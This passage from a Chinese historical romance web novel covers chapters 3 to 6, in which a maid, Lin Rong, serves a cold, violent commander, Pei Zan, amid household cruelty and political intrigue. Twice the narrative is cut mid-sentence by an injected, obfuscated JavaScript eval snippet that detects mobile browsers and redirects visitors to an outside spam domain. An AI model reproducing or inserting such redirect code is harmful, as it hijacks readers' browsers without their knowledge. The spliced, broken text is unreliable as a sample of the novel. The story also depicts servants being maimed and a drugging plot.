好在她看到林蓉全须全尾回来,没有被贵人打杀在内院,心中松了一口气。 赵婆子心疼林蓉受罪,她端来一碗灶房剩下的酒酿圆子,喂给林蓉:“快趁热吃吧!在雪里冻了这般久,定是伤着膝了。” 林蓉这时才发觉,她脸疼、腿疼,浑身都疼。 她的手指僵硬,险些端不住那一碗甜汤,还是赵婆子叹气,舀来一勺甜津津的圆子,喂到她的唇边。 “你说你,怎就听了明珠、明玉的逗弄,竟敢去服侍那位谢小姐!谁不知道她和二房夫人沾着亲,性子最是娇蛮。旁人避之不及的差事,你倒好,还愣头青一般迎上去。” 林蓉被赵婆子一番责骂,竟不觉苦闷,心里反倒暖洋洋的。 林蓉鼻腔一酸,滚下了眼泪,她笑说:“我知道了,下次定不会犯蠢。” 林蓉抬起手背,抹去泪花。 也是这时,赵婆子才看到她满手的烫伤。 赵婆子忙放下汤碗,哎哟了两声,取了药膏帮她抹匀。 “别哭了,有命回来都不错了,赶明儿年关,你做完活就回屋里好好歇着,老婆子我去给你搞一碗烧鹅来,咱俩一起下酒吃。” 赵婆子性子孤僻,没什么儿女。 本来她也瞧不上豆芽苗儿似的蓉丫头,以为林蓉傍上自己,定是有所图谋。 但多年相处下来,赵婆子深谙林蓉的为人。 这个丫头就是心实憨傻,知道赵婆子腰不好,才会每次主动跟着赵婆子出门,帮她推车背粮。 林蓉感激赵婆子的关怀,她听老妇人几句责骂,心里觉得温暖,那些漫上喉头的冷意也驱散了不少。 林蓉落泪,她自己也有些莫名其妙。 自从卖身为奴,她不是没遭过打,挨过骂。 但她头一回会生出这些名为委屈的情绪。 她只是想到了一些旧事。 她只是记起了那些裴瓒的恩情。 她只是记得那一叠衣袍散出的檀香,看到那一串囚在男人琳琅腕骨上的慈悲念珠。 她本以为高门主子里也有善类,她本以为裴瓒慈悲心肠,当年救下孤立无援的林蓉,定是心生怜悯。 可实际上,裴瓒不过厌恶除夕见血。 他与刘管事、裴家主子、所有的官家女眷,没什么两样。 在裴瓒眼中,林蓉只是一个连骨血都腌臜下作的奴婢。 原来,从始至终,都没有谁……将她当成一个人看。 4. 第四章 第四章 谢家姑娘谢依棠喜不自胜。 她今日得了裴瓒给的体面,恐怕在场的官眷都知她深得裴瓒心意。 只是,没等她高兴多久,清风薄雾一般冰冷的男人,忽的调转视线,居高临下凝视着谢依棠。 在那样骇人的目光之下,谢依棠下意识后退一步,小声问:“裴都督怎么了?” 裴瓒轻牵了下唇,笑意凉薄,不及眼底。他似是审视旁人,声线平缓地道:“如本官没记错,谢小姐乃江州谢氏女……既然外姓女客,安敢掌掴我裴家奴仆?如此越俎代庖,倒像是家中人指点有方。” 裴瓒这句话说得颇妙,明着夸赞谢依棠家中人会教女,实则是暗骂谢依棠薄德无行,失了管教。 谢依棠脸上霎时血色全无,她不敢扯出二房太太谢氏是自己姑母的事,免得裴瓒这一通申饬,倒让谢氏全族颜面尽失,令所有谢家姑娘都遭了殃。 但谢依棠也不觉得裴瓒忽然发难,是为了替那个人微言轻的贱奴出头。 许是裴瓒为人素来独断,不喜旁人掺和家事……是她今日张狂了。 思及至此,谢依棠忙不迭请罪:“裴都督,是小女子僭越冒犯,还望您能消消气,万万不要同我计较。” 此言一出,原本寂静无声的人群,忽的发出一两声低低的嗤笑。 笑声稀稀落落,此起彼伏。 分明是在嘲笑谢依棠方才还大张旗鼓,对府上下人一通呲哒,俨然是裴府女主子的架势。 怎料谢依棠是个纸皮做的老虎,正主来了,这层狐假虎威的皮化开了,当真一点体面都无了。 谢依棠脸上青一阵白一阵的,耳朵都烧红。 但她开罪了裴瓒,不敢多说什么,只怨毒地瞪了一眼远处窃窃私语的女孩们。 谢依棠今日必要请得裴瓒的宽恕,免得她泼辣形象落人口实,往后在外都不好议亲了! “大少爷,请您看在二夫人的面上,宽恕我这回……” 谢依棠哭得娇弱,眼尾薄红,我见犹怜。小姑娘的肩背瑟瑟,整个人悚惶不安。 但裴瓒惯来是个铁石心肠的男人,他并未怜惜小姑娘的无措。 裴瓒对女孩的示弱视若无睹,他一言不发,绝情地一抖宽大衣袖,顶风冒雪离去了。 望着裴瓒渐行渐远的孤冷背影,谢依棠一时鼻酸,咬住下唇,她没能含住眼泪,就这么扑簌簌落了一脸泪花。 谢依棠心知自己今晚惨了,若谢父知道她开罪了裴瓒,她一定会被爹娘骂死的! - 裴瓒回府的消息很快就传遍了玉尘院。 被送到院子里伺候主子的紫烟与绿珠对视一眼,心中欢喜不已。 但她们到底是大夫人调教出来的一等丫鬟,便是高兴,也不过抿唇一笑,不敢显山露水地表现出来。 要知道,沈氏命她们服侍如今官居一品的裴大少爷,还不拘着她们诞下庶子……何等深厚鸿福,何等亲厚体面。 若他们当真能生下一男半女,那便是府上的长孙,便是庶出的哥儿姐儿,也足以保她们后半生衣食无忧,荣华富贵。 想到这里,紫烟清了清嗓子,又扭着柳腰回了下人房,她打算换几样镶玉的头面,再将那一件大夫人赏赐的海棠提花绸夹袄拿出来换上。 等裴瓒回到玉尘院,他的心腹老仆冯叔已然命人将主子日常惯用的重莲茶壶、祥瑞四足香炉、黄花梨官帽椅子、青罩桦木架子床等物,置于屋中。 下人们鱼贯而入,将这些家具收拾得井井有条,半点都没有让沈氏派来的奴仆插手,显然是一早就得了主子吩咐,不让府中人多管闲事。 紫烟心下一跳,渐渐明白过来裴瓒的脾气,这是不待见裴家安排的意思。 早听说大少爷与沈氏不和,她还报之一笑,觉得母子哪有隔夜仇,眼下一见,倒似真真的。 紫烟心慌意乱,她立于檐下随侍,不由抬眼,小心窥视那位负手观雪的裴大都督。 男人肩背挺拔如竹,凌冽乌发半绾,流泻于后腰。他身披一件及地的狐毛黑氅,衣摆滚了一圈绒绒雪边,隆冬雾霭遮掩,当真如天宫神祇一般遗世独立,俊逸出尘。 这样人中龙凤的大人物,后宅又不设姬妾,没有主母奶奶在头上压着,焉能不让人春心萌动? 紫烟起了心思,她决不能将到手的肥鸭子放飞了。 紫烟取来一个暖身的龟壳铜手炉,奉了上去,“大少爷,屋外天凉,还请暖暖手吧!” 紫烟虽然已是十八九岁的年纪,不算脆生生的小姑娘,但她身段长开,腰肢、胸脯都玲珑有致,加之一把娇婉动人的好嗓子,不过轻轻一声唤,便如出谷黄鹂一般勾人心魄。 紫烟深知自己的优势,也常用这样卖乖的嗓音去哄府上管事,为自个儿谋得好处。 但很显然,裴瓒平日在外参宴应酬,常有歌姬舞女随侍,什么大风大浪没经过,他本就不喜旁人近身,压根儿不吃她这一套。 男人连眸子都不曾转动,更没应紫烟的话。 紫烟面皮发白,她犹豫一会儿,还是小心勾住了裴瓒的衣角,试图用那一只手炉去缠他衣下手臂。 没等紫烟得逞,裴瓒忽的低眸,看她一眼,幽幽问:“哪只手?” “什、什么……”紫烟的动作顿住,咬住红唇。 她距离裴瓒那一节串了念珠的琳琅手骨,仅有一步之遥。 裴瓒微微阖目,不动声色拉回了衣袍。 “我素来有个规矩,除夕雪夜不见血。可尔等三番两次犯禁,竟让我有些不快……既是左手拉扯,那便斩了吧。”裴瓒的面容艳冶冷情,如古刹佛寺里头的男相菩萨,可吐出的话却掺了锐刃一般,残暴不仁。 紫烟终于听懂主子的话,他不喜她没规没矩地动手,他这是要发落她! “大、大少爷饶命!是奴婢胆大包天,竟敢肆意触碰大少爷的衣袍!”紫烟踽踽凉凉地跪地,似被裴瓒镇住了,整个人魂不守舍。 然而,裴瓒却没有给她求饶的机会,他只是淡扫了冯叔一眼:“拖下去。” 很快,冯叔会意,他快步上前,命人一左一右架着紫烟,又取帕子堵住她的嘴,将奋力挣扎的奴仆拖走了。 裴瓒手段雷霆,半点不给人留活路。 瞧见这一幕,在场所有奴仆都受到了惊吓。 满院的奴仆纷纷跪地,恳求裴瓒宽恕一命。 裴瓒一看玉尘院里添了诸多外人,剑眉一拧,又要驱逐。 还是冯叔上前,小声劝慰:“大少爷,咱们刚回府上就把夫人送来的婢子赶出去,许是要让别房传闲话,总归就留一个月的光景,不若让人留下扫洒院落,打点里外,今日一场发落,也足够敲打那些愚钝人,量他们也不敢胡乱开罪主家。” 裴瓒闻言,亦不再言语。 他没有多说什么,只推开收拾好用物的寝房,沐浴更衣去了。 没多时,院外便传来紫烟哭天抢地的凄厉哭喊,绿珠更是吓得瑟瑟发抖。 裴府的奴仆们,何时见过这样一番血腥的杀鸡儆猴?一时之间,众人闭目屏息,愈发谨言慎行。 绿珠更是心凉了半截。 大少爷不懂风情,对待犯事的奴仆喊打喊杀,不过一点冒犯便要取人性命,她又哪里敢奢求裴瓒的疼爱? 为今之计,唯有好好混上几个月,送走这尊阎罗王,再尽早回大夫人院子里当差。 如此方为上策! - 寅时,外院后罩房。 林蓉起床的时候,脸上的红肿已经消去了泰半,手上的烫伤也被昨晚的药膏疗愈,仅剩下几个不算显眼的红斑。 在府里如履薄冰度日,挨骂挨打是常事,因此也没人会特意问上林蓉一句。 林蓉难得多睡了半个时辰,等她洗漱换衣出门,热粥早被其他扫洒的丫鬟、看守马厩的马奴、驱车的小厮分食完了。 林蓉料想今天还是得啃冷掉的馒头,她也没有半句怨言。 没等林蓉往锅子伸手,一记筷子就轻轻打在了她的手背。 林蓉抬头望去,见是赵婆子拦下了她,小声嘀咕:“阿婆,我还没吃呢。” 赵婆子笑眯眯地道:“是我不让春花吵你的,我能不知道你没吃啊?拿着,这是老婆子今早特地留下的腊鸡腿,还热乎着,你佐馒头吃。” 春花和林蓉同住一屋,只不过春花得了二夫人的青眼,如今在内院跑腿,想来不必多久就要搬出那一间漏风的小破屋了。 林蓉盯着碗里那一只蒸得油汪汪的腊鸡腿,鼻尖一酸,眼眶又发烫,“阿婆,你待我真是一顶一的好!” 赵婆子嗔她一眼:“老婆子膝下无儿无女的,你要是知道我好,日后记得给咱养老送终,也不枉费我这一场照顾。” 林蓉想了想,不好意思地摸了摸鼻尖:“那恐怕不成了,我改日要走的……不过阿婆不嫌弃的话,我在外找到了活计,一定给你每个月寄钱,我把你当亲祖母养!” 赵婆子不过同她说笑,她知道林蓉心眼实在,要是真应下了,小丫头可能真的每个月给她送钱。 赵婆子心里熨帖,没再多说什么,只催促她快些吃饭吧,还得干活呢。 林蓉被赵婆子塞到灶膛底下看火,这样一来,她既能烘暖手脚,又能吃饭,还不算偷懒,一箭三雕。 没一会儿,各院的丫鬟小厮来灶房取食。 大房、二房、老太太院子的早膳都送去了,唯独玉尘院的吃食还没人来拿。 眼见着饭菜都要凉了,忽然有一名小厮传话过来,说是灶房里随便指派一个聪明伶俐的小丫鬟,让人进内院送膳。 灶房里没几个去过内院的奴仆,唯有林蓉在除夕夜被人拉去充数,进过内院。 送食的事儿,自然就落在了她的肩上。 林蓉不疑有他,她乖乖拎起那一只芙蓉雕花的剔红食盒,作势要往玉尘院走去。 没等林蓉走出两步,赵婆子忽然面露难色,喊住了她:“蓉丫头,你可知,往玉尘院送膳这等好事,为何还要推三阻四,找个外院奴仆来送?” 林蓉憨直,但并不蠢笨,她脸色一凛,忙低头请教:“阿婆请讲。” “听说,昨晚有个大丫鬟想爬大少爷的床,竟被拖到外院打个半死,命还捡着,但那双腿怕是要废了。连年关都不曾熬过,今早就喊家中老子娘领回家中去了。那些内院伺候的奴仆能把这样的机会让渡出来,分明是大少爷不好伺候,想找你当替死鬼,你可要打起十二分的小心,切莫惹恼了人!” 赵婆子说得煞有其事,竟让林蓉心中着急万分。她记得绿珠姐姐说过,她想当大少爷的侍妾来着,难不成是绿珠着了道儿?当真糊涂啊,裴瓒那是何等的天人权贵,岂是奴仆能高攀的主儿? 林蓉忧心忡忡:“出事的可是绿珠姐姐?” 赵婆子摇头:“是府上的紫烟。” 林蓉心中既为绿珠感到庆幸,又难受奴仆们的生死低微,不过府上爷们轻飘飘的一句话。 她感激地道:“多谢阿婆指点,我定会小心伺候,万万不敢碍着大少爷的眼。” 赵婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484312|185665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子:“嗳,我一直知道你是个懂事的,去吧,今儿大年初一,熬到夜里,咱们还能一块儿吃杯酒。” 想到今晚能和赵婆子吃酒谈天,再尝到几样平时难能吃到的甜糕,甚至还有老太太院子里送来的赏钱,林蓉心中无比激动,她愈发谨慎地护住那一只提盒,不敢有丝毫闪失。 好在这一路畅通无阻,知道林蓉是要给玉尘院送食,消息灵通的仆妇们都同情地看她一眼,仿佛她要去侍奉什么豺狼虎豹。 今日天气晴朗,雪地消融。 林蓉一路走进内院,鞋帮子沾了融化雪水溅起的污泥。 没等林蓉迈进花厅,她先嗅到一味气息清雅的檀香。 林蓉娇躯一震,深知这是裴瓒的地盘,她必须谨小慎微地伺候。 思及至此,林蓉看了一眼自己脚下一双乌糟糟的泥鞋。 林蓉叹一口气,她不敢弄得花厅满地泥印,但那一张水禽纹锦布饭桌又近在眼前,上头只摆了一只细颈白瓷的花瓶,插了几枝疏木梅花,一道饭食都没陈列,想来是等着她上前布膳呢! 林蓉思来想去,还是脱下脏污的鞋袜,赤足踏进铺满梨花纹青石板的厅堂。 待林蓉蹑手蹑脚跨进花厅,她去那一盆专供布膳下人净手的木盆里清洗过双手后,方敢用另一只没碰过脚踝的素净小手,将那些饭菜一样样端上饭桌。 灶房不知裴瓒爱吃什么,因此照着裴老夫人的吩咐,为这位贵主送上了一些八宝粥、甜糕团子,除此之外,还要一道蜜酒鲥鱼、珍珠团、卤鸡。 许是以为裴瓒在外督军,实乃武夫,定爱些酒菜。 老太太不但吩咐厨子煮些荤菜,还烹了连鱼豆腐、炒蟹粉,另置了两壶甜酒佳酿,随君挑选。 早膳花样繁多,但碗碟很小,林蓉一个人便能抬得动食盒。 也是她做事谨慎,这才没有让菜汤乱撒,混成一团。 活计这般繁琐,稍有不慎就会出错,难怪要让她去送。 万一出了差池纰漏,岂不是还要惹裴瓒不快? 林蓉送完食还不能走,她要跪侍一旁,等裴瓒用膳,才能离开。 没等林蓉穿鞋,候到厅外。 裴瓒已然穿过月洞门,往花厅行来。 裴瓒练剑归来,他的长袖微撩,浑身是汗,没来得及入室沐浴。劲瘦结实的腕骨上,浮起一层习武后的薄红,汗津微湿,沾上那一串乌色念珠,竟生出一种既圣洁又靡丽的旖旎错觉。 裴瓒胸肋上的伤疤初初愈合,其实还不能下地习武,但他长年操练,不愿卧榻多日,荒废剑招,今早趁着庭院雪色烂漫,便出了一趟门。 回来时,他本想入内换衣,但冯叔操心主子,盼着他先去用几口膳食,再慢慢清理。 到底是追随多年的忠心老仆,裴瓒不会损他颜面,自然应允。 只是,裴瓒墨瞳一扫,竟看到台阶底下的枯叶堆里,藏着一双单薄的棉鞋。 尺码很小,一掌可握。布料浆洗多次,显得很旧,也无甚花纹,应是女子穿的鞋履。 裴瓒执剑入内。 很快,他意识到花厅角落里,躬身跪着一名女子。 男人脚步一顿,凤眸微微眯起。 女孩没有穿鞋,一双细白的脚紧紧缩着,粉嫩的脚趾蜷曲,如同雨后荷苞,卷翘起一抹红瓣儿。 裴瓒不为所动,仅用那一道阴寒沉寂的目光,审视小丫鬟。 他的视线如同一把锋锐利刃,落在林蓉白净的颈珠、压在女孩饱满臀下的那一双雪足。 林蓉早早就嗅到了那一味疏离的檀香,她福至心灵,心知裴瓒在审视她。 林蓉不敢动弹,任男人用狠戾目光凌迟,将她大卸八块。 一时之间,林蓉竟觉得浑身都被主子剔肉刮骨,四肢百骸俱是泛起疼来。 想到昨日被裴瓒发落、险些打个半死的紫烟,林蓉腰窝发酸,腿骨抽筋,无端端感到紧张。 她鼻翼生汗,如坐针毡,不自禁将头压得更低。 林蓉想到自己身后冻得发凉的双脚,忍不住拉扯了一下衣袍,往后遮了遮,只可惜她今天穿的是一件厚袄长裤,没有裙摆可以蔽足。 “为何衣冠不整?”裴瓒嗓音清冽,如同一池寒潭。 林蓉侧耳聆听,她辨不出他话中情绪。 但知裴瓒收回杀人视线,朝前挪了两步,林蓉稍微放松了一点心神。 “大少爷见谅。”她深深吸气,小声解释,尽量让口齿更为清晰一些,不要讨人嫌恶。 “奴婢赤脚入内,不过是害怕脚上污泥弄脏了厅堂的软毯。奴婢对大少爷绝无非分之想,借奴婢十个胆子,也不敢唐突大少爷这般尊贵的主子……” 林蓉是在裴家长大的丫鬟,虽然她目不识丁,但为了活命,也会努力练好一嘴讨巧求饶的好口才。 裴瓒听到了她说的话。 少女说话条理清晰,即便嗓音微颤,也并没有不规矩地抬头露面,肆无忌惮地窥视上峰威颜。 裴瓒漠然道:“退下。” “是。”林蓉捡回一条命,如释重负,竟还有几分腿软。 林蓉缓了缓,又怕迟则生变,忙卑躬屈膝地行礼,低着头出了花厅。 待趿上那一双被雪水泡软了的棉鞋,林蓉的魂魄才回归体内。 林蓉喜极而泣,一时间脚下动作稍显匆忙,竟似逃一般,往院外奔去,不敢再逗留片刻。 裴瓒将寒光长剑置回架上,拇指轻碾佛珠,心中了然。 此女没有以下犯上的心思……她分明避他不及。 5. 第五章 第五章 大年初一,阖府的奴仆送完了内院的宴菜后,全围到外院的公厨来。 裴老太太开恩,每次开年第一日,都会允奴仆们在僻静的外院公厨煮些吃食,还会派发一笔赏钱,讨个好彩头。 就说今年,林蓉这样不起眼的小喽啰也得了一两银子的赏赐,可把她喜得见眉不见眼。 林蓉美滋滋地攒下银钱,又细数了一番,她已经攒了十四两银子了!再有一两就足够赎身钱了,待她再多做几个月的活,凑点盘缠,她便能离开裴家了! 自此之后,林蓉想睡到几时就睡几时,不必怕主子怪罪,动辄打骂,甚至是发卖进下等窑子里。 离开裴家后,林蓉会养些鸡鸭,每日下一两个蛋来加餐,再养一条看门护院的大黄狗……起初的日子肯定会难一些,但林蓉勤劳,肯干活,日子总会慢慢好起来。 林蓉心里充满了对于未来好日子的无尽畅想,直到富贵跑来喊她吃烧鹅,林蓉方才停下往水缸里打水的动作,擦干了手,随人一同往远处灯火煌煌的厨房走去。 富贵是外院的小厮,三年前才被卖到裴家,他如今十四岁了,比林蓉还小上三岁。因年纪小,又不懂规矩,没人愿意带他,但林蓉心慈,总会提点他一两句,自此富贵便将林蓉当成亲阿姐一般,一口一个“蓉姐姐”,跟在她屁股后头转。 富贵把藏了半天的咸鸭蛋递给林蓉:“蓉姐姐快吃吧!这可是弟弟我从二房那边顺过来的好吃食,我本想留着佐粥吃呢!” 林蓉喜欢吃咸口的腌物,有时是蛋黄流油的咸鸭蛋,有时是窖藏一整个冬天的腌萝卜,只需一小块配菜,她就能吃下两个馒头、一整碗白饭。 赵婆子看她吃饭狼吞虎咽的样子,直笑话她小家子气,但林蓉也只是讪讪一笑,没有辩驳。 她没对人说过,如今的日子比从前好些,少时家里人吃不饱饭,还想着拿她换肉换米,给弟弟进补。 要不是牙人乃洞若观火的能人,辨出她的五官底子好,大有可为,用一笔钱买下林蓉,保不准她早就死在五六岁的年纪。 林蓉是个知足常乐的姑娘,她没什么远大的志向,也没有什么攀高枝的野心,她甚至连新衣与胭脂都不喜欢。她就想每日干完活,能吃饱饭,穿暖睡足,被褥不冷,如此便心满意足。 富贵见她收下咸鸭蛋,好奇地问:“蓉姐姐,外院都在传呢,说你好本事,去了玉尘院还能全须全尾地回来。你快给我说说,大少爷长什么样?可是生得俊逸不凡,如神仙菩萨一样?” 富贵忽然问起裴瓒,林蓉呆了呆,嗫嚅:“我、我没敢看……” 富贵目瞪口呆,他还当是阿姐有能耐,能让大少爷也对她另眼相待,敢情是根本没敢细看啊? 倒也是,若非如此,林蓉怎么可能平安回到外院,她要是敢唐突家中主子,早就被打死在内院了。 “这样最好……就连紫烟姐姐那般的人物都不能让大少爷生出丝毫怜悯,蓉姐姐还是谨言慎行,这样才能活得更长久一些。”富贵缩了缩脑袋,又是露齿一笑,“毕竟咱们做奴才的,不求荣华富贵,但求长命百岁嘛!” - 初三那日,江州巡抚徐峻茂设下席面,邀请大都督裴瓒赴宴闲谈。 裴瓒对外说是居家养伤,自然会推辞所有宴饮,闭门不出。 奈何徐峻茂三番两次相邀,似是火烧屁股走投无路。 裴瓒被人催逼了几次,只能备轿入席。 江州远郊的一座私人宅邸,天色昏暗,悬山顶屋檐底下次第亮起黄澄澄的灯笼。 宅门前,立着两尊狮子滚绣球抱鼓石。 石雕旁边,两队披坚执锐的兵卒排列两侧,巡位排岗,军容肃穆。 院内,云纹铜火盆里,炭火荜拨作响。桌上的美味珍馐早已放凉,连热气儿都不冒。 黄花梨圈椅上,正坐着一名身穿梧枝绿圆领袍的清癯男子,他手执一盏黄山毛峰茶,碗盖拨了拨茶沫子,久不入口。 此人正是病中赴宴的裴瓒。 徐峻茂见裴瓒人是来了,但不吃不喝,显然不想同他扯上太多的干系,不由心中着急,干巴巴地喊:“大都督,这事儿说来也方便,只需您高抬贵手,同下官通个气儿,事情不就黑不提白不提地过去了么!” 闻言,裴瓒只冷笑一声,并不接茬。 徐峻茂狗胆包天,竟想贪墨那一笔用来赈济雪灾的官银。 徐峻茂想与裴瓒一起演一场戏,故意说黄船在漕运输送银两的途中,不慎遭到倭寇水匪劫掠,这才损失近半的灾银。 可裴瓒不蠢,若他应下此事,岂非承认自己治下不利,连水匪都猖獗? 那他一个月后回京述职,怕是真要被元庆帝借题发挥,诛杀于接风洗尘的官宴上了。 裴瓒垂眸不答,徐峻茂心知舍不得孩子套不着狼,他咬牙,肉疼地许诺:“倘若大都督应下此事,徐某愿献出十多万石粮草,以供养两州军士操练……” 徐峻茂显然是知道裴瓒要上京,受君王发落的事。他知裴瓒死期将至,定不会坐以待毙,保不准要酿出兵祸,划江而治。 如今,徐峻茂故意用军需辎重相诱,便是想将裴瓒拉到同一艘贼船上来……毕竟裴瓒若想违抗皇命,发兵起事,除却兵马强盛,还需粮草充足。 哪知裴瓒闻言,竟低叹一声:“并非裴某不肯助徐大人一臂之力,实乃心有余而力不足。徐大人应该知晓,裴某揽兵的印绶已缴,再过二十多天,裴某便要上京述职,谁知此番面圣,还有没有机会回到故里……” 裴瓒暗示徐峻茂,他今儿都是泥菩萨过河,自身难保,又怎有法子将徐峻茂捞上岸。 可徐峻茂也不蠢笨,当他是瞎子么?倘若裴瓒手上真没兵权,外头围着私宅的那些军将是什么?!难不成还是裴瓒从犄角旮旯地里雇来的打手吗?! 徐峻茂自认今日这场宴会,实乃瞌睡时递枕头,裴瓒定会照单全收。 可看裴瓒嘴上说“正是多事之秋,不敢顶风作案”,实则他半点不慌张,老神在在,又实在令人摸不清头脑。 徐峻茂一时无言,他猜不透裴瓒的心思,只能干笑着陪酒。 裴瓒饮下两盏茶水,指骨微动,轻捻上腕间那串佛前开过光的念珠,缄默不语。 裴瓒本不知徐峻茂藏私贪污,偏徐峻茂愚钝,非要撞枪口上来。 如今裴瓒已知徐峻茂贪墨官银,又家底殷实,自当“劫富济贫”。 与其跟着徐峻茂同流合污,倒不如让裴瓒派出这一帮忠心耿耿的“水匪”,将徐峻茂的万贯家财收入囊中,用于养兵。 至于漏出的那个国帑窟窿该如何填,便是徐峻茂自个儿要操心的事儿了。 毕竟徐峻茂本就是贪官污吏,让他顶缸,也不算冤枉了他。 他人生死,也与裴瓒无关。 酒过三巡,宴上忽然来了一名不速之客。 是个年近五十的男人。来人穿一身貂毛银氅,头戴金冠,龙行虎步,周身气度不凡,显然出身高贵。 裴瓒略一思忖,便猜到来人身份。 应是就藩渝州的秦王,当今圣上的皇弟。 按理说,地方藩王应在封地里莳花弄草,绵延子嗣,又怎会出现于徐家私宴? 裴瓒难得有一瞬疑惑,但他素来擅于敛色,并未探问分毫。 裴瓒手握兵权,未及而立之年,就如此沉得住气,倒让秦王惊诧。 秦王含笑上前,给裴瓒敬上一杯酒:“久闻裴都督雄才大略,实乃超世之才,如此国士,他日若折于京中,岂不可惜?” 秦王知道裴瓒是个聪明人,他没和裴瓒兜圈子,径直挑明来意。 元庆帝想要卸磨杀驴,将裴瓒手中兵权收回,如今裴瓒是骑虎难下,自该想想后手。 秦王有称帝野心,他意欲与裴瓒结盟,共同起事,共商千秋帝业。 花枝已经丢出,且看裴瓒会不会接下他的好意。 裴瓒素来城府深沉,又怎会受这三言两语的挑唆,落人话柄? 裴瓒只笑不语,敷衍道了句:“秦王谬赞,裴某不过一庸人尔,怎敢担此赞誉。” 裴瓒心知肚明,秦王必是以为,他不过秋后蚱蜢,蹦跶不远,方敢如此试探…… 秦王微扬眉梢,哈哈两声笑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没等静姝伸手,裴瓒已然轻扬广袖,拂去女子递来的纤细柔荑。 裴瓒撩袍起身,对秦王等人道:“夜深露重,裴某有伤在身,仍需休养,是时候打道回府。今夜的酒宴妙极,来日如有机会,裴某自当再与王爷、徐大人畅谈一夜,敬几杯酒水。” 裴瓒执意要走,秦王不好强留。 秦王出屋送人,他凝视那一道踽踽行入风雪中的清隽背影,重重拧眉。 一时之间,秦王也猜不透,究竟是裴瓒定力超群,还是他行事疏忽,没往酒里添药。 只是,裴瓒态度坚决,不愿收下秦王送来的庶女,亦让他明白裴瓒此人心性孤高,他竟没有与地方藩王结盟的念想……秦王本想着能借裴瓒兵马,揭竿而起,直逼皇都,奈何裴瓒油盐不进,竟三番两次拒他拉拢,实在令人恼火。 愚钝竖子! 难不成裴瓒还真打算一月后上京赴死?若说裴瓒此人心性赤忱,当真存有忠君爱国之心,那是打死秦王,他也万万不会相信的! - 马车上,裴瓒体内的媚.毒猝然发作,来势汹汹,竟令他肩背汗湿,腹下起势,难抑燥火。 裴瓒一双凤目阒黑,如烧簇簇炽烈焰火,下颌线条紧绷,白瓷薄皮底下,隐有虬结青筋鼓噪,俨然是情.欲熏心的模样。 裴瓒闭目,强行将此等邪念压制下去。 冯叔见主子面色苍白,不由着急地问:“爷,您怎么办?要不咱们寻个秦楼楚馆,先解开药酒再说?” 裴瓒蹙眉,冷声道:“回府。” 裴瓒嫌弃旁人脏污,不欲女子近身。 但他心知此药甚烈,单是以手自.渎,亦无法纾解渴念。 ……为今之计,恐怕只有放血散热。 冯叔见裴瓒取来匕首,吓得六神无主。 老仆急忙跪地,颤巍巍握住了裴瓒的臂骨,制止自家主子犯傻:“爷!何必自伤身体,您要是嫌弃那馆子里的妓子腌臜,咱们回府上随意找个通房丫鬟便是!无非是给一场雨露恩宠,府上哪个丫鬟不想得主子的恩典?这是好事儿,爷,权当施舍了,可千万不要动刀伤身啊……” 冯叔苦口婆心地劝慰,他不忍看着自家小主子自.残。 许是冯叔的规劝起了效果,待马车停至裴府门口,裴瓒终是放缓了态度,男人薄唇微抿,淡道一句:“你去办吧。” 见主子被自己说服,冯叔大喜过望,他匆忙爬下马车,高声应道:“是,主子上玉尘院稍等片刻,老奴这就去召人!” 6. 第六章 第六章 大年初三,仍是隆冬。 外院栽的几棵青松冠盖如林,枝桠上累积着一团团厚厚雪絮。 刘管事怕积雪太厚、冰棱尖锐,会砸到府上贵主,特地命丫鬟小厮出去凿冰扫雪,以防不测。 这种活计吃力不讨好,大家都不愿做,刘管事便全部推给了林蓉。 对于林蓉来说,爬树扫雪虽冷,但胜在清静,时间多耽搁一点也不会有人来催,她可以慢吞吞地做事。 只是林蓉刚忙好这些琐碎的事,一双手也被风雪冻得通红,生出冻疮的指缝,发起痒来,即便用药膏也难以压制。 待林蓉回到灶房,玉尘院忽然有奴仆来传唤,让厨房的人沏好茶汤,专程送到内院去。 他们虽没有点名让林蓉送茶,但去过玉尘院的丫鬟就她一个,合该由她端茶送水。 赵婆子在裴府不说手眼通天,但好歹也是做采买的美差,与那些仆妇们还是有些交情的。 她愿意罩着林蓉,自然也有人会卖她脸面。 在林蓉送茶之前,赵婆子特意帮林蓉打听了一下玉尘院的情况。 赵婆子忧心忡忡地道:“蓉丫头,今晚你可得小心些,听说大少爷回府时脸色不好看,上前请安的仆从不过露了一回脸,便被他踹到雪里责骂。我看今晚送茶,怕是要生事,不然谁会特意喊外院的仆妇入内端茶倒水。” 林蓉感激地点头:“阿婆,我知道了。我一定小心应对……若我不忤逆大少爷,想来也是可以平安回来的。” 在林蓉的印象里,裴瓒虽性冷孤高,但也没有暴戾到逮着人就要喊打喊杀,只要不碍着他的眼,想来她也不会那么背运,一命呜呼。 林蓉给自己鼓劲儿打气。 她记下茶水要送到玉尘院的偏房的事,端起乌木托盘,小心翼翼往玉尘院行去。 等到了偏房门口,林蓉看到虚掩的门扉,一时踌躇不前。 林蓉诧异屋里居然一盏灯都没有,黑漆漆一片,但她差事在即,也没有过多耽搁,咬着牙便迈进了屋子。 不等林蓉进门点灯,屏风后头倏忽传来一道幽冷低沉的男声。 “是老冯唤你来的?” 林蓉听出声音的主人是裴瓒,急忙放下茶水,跪地行礼:“奴婢见过大少爷,奴婢是来送茶汤的。” 林蓉仔细回想了一下之前的事,她并不能确定送茶的命令是否由冯管事下达。 毕竟林蓉只是一个听命于人的扫洒丫鬟,随便内院一个大丫鬟都能差遣她跑腿,她不过人微言轻的一个奴仆,又怎敢问东问西,揣摩上头的吩咐。 林蓉急得鼻翼生汗,肩膀瑟缩。 林蓉笨口拙舌,也不知该如何接话。 好在裴瓒没有为难她,他没有接着往下问。 就在林蓉想要告退的时刻,屋内的裴瓒忽然起了身。 